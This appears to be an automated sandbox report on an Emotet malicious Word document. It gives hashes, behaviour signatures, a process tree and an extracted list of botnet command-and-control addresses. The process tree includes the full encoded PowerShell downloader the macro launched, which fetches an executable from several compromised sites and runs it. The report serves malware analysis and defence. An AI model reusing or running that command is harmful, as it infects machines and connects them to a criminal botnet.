Overview

overview

10

Static

static

8

emotet_e2_...px.doc

windows7_x64

10

emotet_e2_...px.doc

windows10_x64

10

Analysis

  • max time kernel
    124s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    27/10/2020, 06:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_e25c57f78caa61c0a27f7f7877e82bbd48ba6fc490aa904b851bbf4b7a42ac5b_2020-10-27__063752493547._fpx.doc
  • Size 171KB
  • Sample201027-vbwdyeqd8a
  • SHA256 e25c57f78caa61c0a27f7f7877e82bbd48ba6fc490aa904b851bbf4b7a42ac5b
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 67.163.161.107:80

  • 107.170.146.252:8080

  • 173.212.214.235:7080

  • 167.114.153.111:8080

  • 185.94.252.104:443

  • 110.142.236.207:80

  • 194.187.133.160:443

  • 218.147.193.146:80

  • 172.104.97.173:8080

  • 216.139.123.119:80

  • 50.91.114.38:80

  • 202.134.4.211:8080

  • 113.61.66.94:80

  • 139.99.158.11:443

  • 62.171.142.179:8080

  • 37.139.21.175:8080

  • 190.108.228.27:443

  • 94.23.237.171:443

  • 154.91.33.137:443

  • 201.241.127.190:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e25c57f78caa61c0a27f7f7877e82bbd48ba6fc490aa904b851bbf4b7a42ac5b_2020-10-27__063752493547._fpx.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1568
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMAZQBUAC0AVgBBAFIASQBhAEIAbABlACAAIAAoACcAOQA2ACcAKwAnAGUAMwAnACkAIAAoACAAIABbAHQAWQBQAEUAXQAoACIAewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACcALgBJAE8AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAcgBlAEMAdABvAHIAWQAnACwAJwAuAEQASQAnACkAKQAgACAAOwAgAHMAZQB0AC0AaQB0AGUAbQAgAHYAQQBSAGkAYQBiAGwARQA6AEwAcABIAEEAagA4ACAAKABbAHQAWQBwAEUAXQAoACIAewA0AH0AewAyAH0AewAxAH0AewAzAH0AewAwAH0AewA1AH0AIgAgAC0AZgAgACcAZQAnACwAJwBzAGUAJwAsACcAbQAuAE4ARQB0AC4AJwAsACcAUgB2AGkAQwBFAFAAbwBpAE4AVABtAEEAbgBhAEcAJwAsACcAUwBZAFMAVABFACcALAAnAHIAJwApACAAIAApADsAIAAgACQATwBjADYAagBlAGsAOQA9ACgAKAAnAFkAeAAnACsAJwBwACcAKQArACgAJwBuAGoAJwArACcAdwAnACkAKwAnADUAJwApADsAJABXADgAXwByADAAaQBvAD0AJABMAG0AegBvADAAeABwACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABVAHUAcgBqAHIANwBzADsAJABGAG4AOQA3AG8AZgBqAD0AKAAnAFYAJwArACcANQB4ACcAKwAoACcAZwA0ACcAKwAnADcAMAAnACkAKQA7ACAAJAA5ADYARQAzADoAOgAiAGMAYABSAGAARQBhAFQARQBkAGAASQByAEUAQwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcASAAnACsAKAAnAGkATwBMACcAKwAnADMAMwB1ACcAKQArACgAJwA0AGgAaQBIAGkATwBQACcAKwAnAHQAMQAnACsAJwAwAHMAJwApACsAJwB1ACcAKwAoACcAegBIACcAKwAnAGkATwAnACkAKQAgAC0AYwByAEUAUABMAGEAYwBlACAAIAAoACcASABpACcAKwAnAE8AJwApACwAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQAUwBkAHMAZgA2AGsAeQA9ACgAJwBSAHgAJwArACgAJwByACcAKwAnAHUANQB6AHIAJwApACkAOwAgACAAJABMAFAASABBAGoAOAA6ADoAIgBTAGAARQBDAGAAVQBSAGAASQB0AHkAUAByAE8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQARABlAGYANwB5ADkAaQA9ACgAJwBCAHQAJwArACgAJwB1AGUAYQBpACcAKwAnAHAAJwApACkAOwAkAFcANgAxAGYAZwAxAGgAIAA9ACAAKAAnAFAAJwArACgAJwByAHUAJwArACcAbgBvAG4AcAAnACkAKwAnADgAMQAnACkAOwAkAEYAMgB6ADEAbQBmAG4APQAoACgAJwBCAHkAJwArACcAMQBkACcAKQArACgAJwBsACcAKwAnADMANgAnACkAKQA7ACQAQgBtADIAdAA4AHAAaAA9ACgAKAAnAFoAJwArACcAbQBlACcAKQArACcAZAB5ACcAKwAnADMAMQAnACkAOwAkAEMAMwB4AGsAagBpAGQAPQAkAEgATwBNAEUAKwAoACgAKAAnAGMAJwArACcAbABBACcAKQArACcATAAnACsAJwAzACcAKwAoACcAMwB1ADQAaABpAGMAbABBACcAKwAnAFAAdAAxACcAKwAnADAAcwB1AHoAJwApACsAJwBjACcAKwAnAGwAJwArACcAQQAnACkALQBDAFIARQBwAEwAYQBjAGUAIAAgACgAWwBjAGgAQQBSAF0AOQA5ACsAWwBjAGgAQQBSAF0AMQAwADgAKwBbAGMAaABBAFIAXQA2ADUAKQAsAFsAYwBoAEEAUgBdADkAMgApACsAJABXADYAMQBmAGcAMQBoACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARQB4ADEAcwB4AG4AaAA9ACgAKAAnAFUAJwArACcAcABnACcAKQArACcAMwBnACcAKwAnAHMAZwAnACkAOwAkAEgAMwBzADcAbQBwAHIAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAYwBsAGkAZQBuAHQAOwAkAE0AeQBsAHYANABoADEAPQAoACgAJwBoAHQAJwArACcAdABwAHMAJwApACsAJwA6AFsAJwArACgAJwAgAHcAZQAgACcAKwAnAF0AJwArACcAWwAgAHcAZQAnACsAJwAgAF0AaABvACcAKQArACcAbQBlACcAKwAnAHcAJwArACgAJwBhAHQAYwAnACsAJwBoAGEAJwApACsAJwBtAGUAJwArACgAJwBsAGkAJwArACcAYQAnACkAKwAoACcALgAnACsAJwBjAG8AbQAnACsAJwBbACAAJwArACcAdwAnACsAJwBlACAAXQB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwArACcAbQBpAG4AWwAgAHcAZQAgAF0AJwArACcATQBRAHgAagAnACkAKwAoACcAcgBSAFUAJwArACcAWwAnACkAKwAoACcAIAB3AGUAIABdAEAAJwArACcAaAAnACsAJwB0AHQAcABzACcAKwAnADoAWwAgACcAKQArACcAdwBlACcAKwAnACAAJwArACcAXQAnACsAKAAnAFsAJwArACcAIAAnACsAJwB3AGUAIABdACcAKwAnAHAAbwB0ACcAKQArACcAdAAnACsAJwBlAHIAJwArACgAJwBzACcAKwAnAGgAbwB1AHMAZQAnACsAJwBkAHUAJwArACcAcgBiACcAKwAnAGEAbgAuAGMAJwApACsAKAAnAG8ALgB6ACcAKwAnAGEAWwAgACcAKwAnAHcAZQAgAF0AJwArACcAYwBnACcAKwAnAGkALQBiAGkAJwApACsAJwBuACcAKwAoACcAWwAgACcAKwAnAHcAZQAgAF0AMQAwACcAKwAnADkASgAnACkAKwAoACcAWwAgAHcAJwArACcAZQAgAF0AJwArACcAQAAnACkAKwAnAGgAdAAnACsAKAAnAHQAJwArACcAcABzACcAKQArACgAJwA6AFsAIAB3AGUAIAAnACsAJwBdAFsAIAAnACsAJwB3AGUAIABdACcAKQArACgAJwB0AG8AbwByACcAKwAnAGEAawAnACkAKwAoACcALgBpAGUAJwArACcAWwAgAHcAJwApACsAJwBlACcAKwAnACAAJwArACgAJwBdAHcAJwArACcAcAAtAGkAbgAnACkAKwAnAGMAJwArACcAbAB1ACcAKwAoACcAZAAnACsAJwBlAHMAWwAgACcAKQArACcAdwAnACsAKAAnAGUAIABdACcAKwAnAGEAJwApACsAJwBUAFsAJwArACgAJwAgAHcAZQAgACcAKwAnAF0AQAAnACsAJwBoAHQAJwApACsAKAAnAHQAcABzADoAWwAnACsAJwAgAHcAJwArACcAZQAgAF0AJwApACsAKAAnAFsAIAB3ACcAKwAnAGUAJwApACsAJwAgAF0AJwArACgAJwB3AHcAdwAuAHQAaABlAGcAaQAnACsAJwBuAGwAJwArACcAaQAnACsAJwBiAHIAJwArACcAYQByAHkALgAnACkAKwAoACcAZABlAFsAIAAnACsAJwB3ACcAKQArACgAJwBlACcAKwAnACAAXQB3ACcAKwAnAHAALQAnACkAKwAoACcAaQBuAGMAJwArACcAbAB1AGQAJwArACcAZQBzACcAKQArACgAJwBbACAAdwBlACAAXQBtACcAKwAnAGEAJwApACsAKAAnAFsAIAB3ACcAKwAnAGUAIAAnACkAKwAoACcAXQAnACsAJwBAAGgAdAB0ACcAKQArACcAcABzACcAKwAnADoAWwAnACsAKAAnACAAdwAnACsAJwBlACAAXQBbACcAKwAnACAAdwAnACsAJwBlACAAXQAnACkAKwAoACcAYwBvACcAKwAnAGUAJwApACsAKAAnAHUAcgBjAGwAYQAnACsAJwB1AGQAZQAnACsAJwBsACcAKwAnAGkAZQBuACcAKQArACgAJwAuAGYAYgBjAGEAcgAnACsAJwBzAC4AJwArACcAbgBlACcAKQArACcAdABbACcAKwAoACcAIAAnACsAJwB3AGUAIABdAGMAZwBpAC0AYgBpACcAKwAnAG4AJwArACcAWwAgAHcAJwApACsAJwBlACcAKwAoACcAIAAnACsAJwBdACcAKwAnAHQASgB0ADAAUwBxAGcAJwApACsAKAAnAFsAIAB3ACcAKwAnAGUAIABdACcAKwAnAEAAJwArACcAaAB0AHQAJwArACcAcABzADoAWwAgAHcAZQAgACcAKwAnAF0AWwAgACcAKQArACgAJwB3AGUAJwArACcAIABdACcAKQArACgAJwB3AHcAJwArACcAdwAnACkAKwAoACcALgBtACcAKwAnAGEAbQAnACkAKwAoACcAYQBjACcAKwAnAC4AdAAnACsAJwBvAHAAWwAgACcAKwAnAHcAZQAgAF0AdwBwAC0AYQBkAG0AJwArACcAaQAnACkAKwAoACcAbgBbACAAdwBlACAAXQBHAFcAUQAnACsAJwBBAEMAUABbACcAKwAnACAAJwApACsAKAAnAHcAZQAgACcAKwAnAF0AQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBbACAAJwApACsAJwB3AGUAJwArACgAJwAgAF0AWwAnACsAJwAgAHcAZQAnACkAKwAnACAAXQAnACsAJwBqAHcAJwArACgAJwBzAGsAJwArACcAaQBuAGMAYQAnACsAJwByAGUALgB2ACcAKwAnAG4AWwAgAHcAJwArACcAZQAgACcAKwAnAF0AcwBlAHQAdQAnACsAJwBwACcAKQArACgAJwBjACcAKwAnAG8AbgBmACcAKQArACgAJwBpAGcAbwBbACAAdwAnACsAJwBlACAAXQAnACsAJwBwAEYANgAnACsAJwBnAFsAJwArACcAIAB3AGUAJwApACsAJwAgACcAKwAoACcAXQAnACsAJwBAAGgAJwApACsAKAAnAHQAdABwACcAKwAnAHMAOgAnACkAKwAoACcAWwAgACcAKwAnAHcAZQAgACcAKQArACgAJwBdAFsAIAB3AGUAIABdADkAJwArACcAcwAyACcAKwAnAHMALgBjACcAKQArACgAJwBvAG0AJwArACcAWwAgAHcAJwArACcAZQAgAF0AdwBwACcAKQArACgAJwAtAGEAJwArACcAZAAnACkAKwAoACcAbQBpAG4AJwArACcAWwAgAHcAZQAgACcAKwAnAF0AJwApACsAKAAnAFgAJwArACcASwBvAHcAJwArACcAYgBbACAAdwBlACAAJwApACsAJwBdACcAKQAuACIAcgBgAEUAcABMAGAAQQBjAEUAIgAoACgAJwBbACAAJwArACgAJwB3ACcAKwAnAGUAIABdACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACcAZgBzACcAKQBbADAAXQApAC4AIgBTAFAATABgAEkAdAAiACgAJABOAGgAawBkAGcAaABlACAAKwAgACQAVwA4AF8AcgAwAGkAbwAgACsAIAAkAE8AZQAyAGEAYgBqADkAKQA7ACQAWQByADgAegBiAG4AdQA9ACgAKAAnAEQAJwArACcAbQAyAHIAJwApACsAKAAnAGkAcAAnACsAJwBvACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABJADIAbABrAGoAOABtACAAaQBuACAAJABNAHkAbAB2ADQAaAAxACkAewB0AHIAeQB7ACQASAAzAHMANwBtAHAAcgAuACIAZABvAFcAbgBsAE8AYQBEAGAARgBpAGAAbABlACIAKAAkAEkAMgBsAGsAagA4AG0ALAAgACQAQwAzAHgAawBqAGkAZAApADsAJABFAG0AdwByAHIAdwBkAD0AKAAoACcATgA5ACcAKwAnADkAcwAnACkAKwAoACcAeABnACcAKwAnAG4AJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAQwAzAHgAawBqAGkAZAApAC4AIgBMAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADQAMAA1ADMAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpACcAKwAnAG4AJwApACsAJwAzACcAKwAoACcAMgBfACcAKwAnAFAAcgAnACkAKwAoACcAbwAnACsAJwBjAGUAcwBzACcAKQApACkALgAiAGMAcgBgAGUAYABBAHQAZQAiACgAJABDADMAeABrAGoAaQBkACkAOwAkAFgANQB6AHYAcgAzAGYAPQAoACcATwAnACsAKAAnADAAJwArACcANQBxAHkAdQBlACcAKQApADsAYgByAGUAYQBrADsAJABIADYAegB4AHEANABtAD0AKAAoACcAWQBnACcAKwAnAGQAJwApACsAJwBwAGMAJwArACcAZAAwACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAwAG0AdgB6ADcAegA9ACgAKAAnAEwANgA4AHkAJwArACcAagB0ACcAKQArACcANQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1996
  • C:\Users\Admin\L33u4hi\Pt10suz\Prunonp81.exe
    C:\Users\Admin\L33u4hi\Pt10suz\Prunonp81.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\SysWOW64\stclient\AudioSes.exe
      "C:\Windows\SysWOW64\stclient\AudioSes.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1416

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/676-19-0x000007FEF6940000-0x000007FEF6BBA000-memory.dmp
        Download

        memory/1008-12-0x00000000002D0000-0x00000000002F0000-memory.dmp
        Download

        memory/1008-13-0x00000000002F0000-0x000000000030E000-memory.dmp
        Download

        memory/1416-18-0x0000000000270000-0x000000000028E000-memory.dmp
        Download

        memory/1416-17-0x0000000000250000-0x0000000000270000-memory.dmp
        Download

        memory/1568-1-0x0000000006240000-0x0000000006244000-memory.dmp
        Download

        memory/1568-2-0x000000000047E000-0x0000000000482000-memory.dmp
        Download

        memory/1568-0-0x000000000047D000-0x000000000047E000-memory.dmp
        Download

        memory/1996-5-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1996-10-0x0000000002720000-0x0000000002721000-memory.dmp
        Download

        memory/1996-9-0x000000001B950000-0x000000001B951000-memory.dmp
        Download

        memory/1996-8-0x0000000001F20000-0x0000000001F21000-memory.dmp
        Download

        memory/1996-7-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1996-6-0x000000001ADA0000-0x000000001ADA1000-memory.dmp
        Download

        memory/1996-4-0x000007FEF5910000-0x000007FEF62FC000-memory.dmp
        Download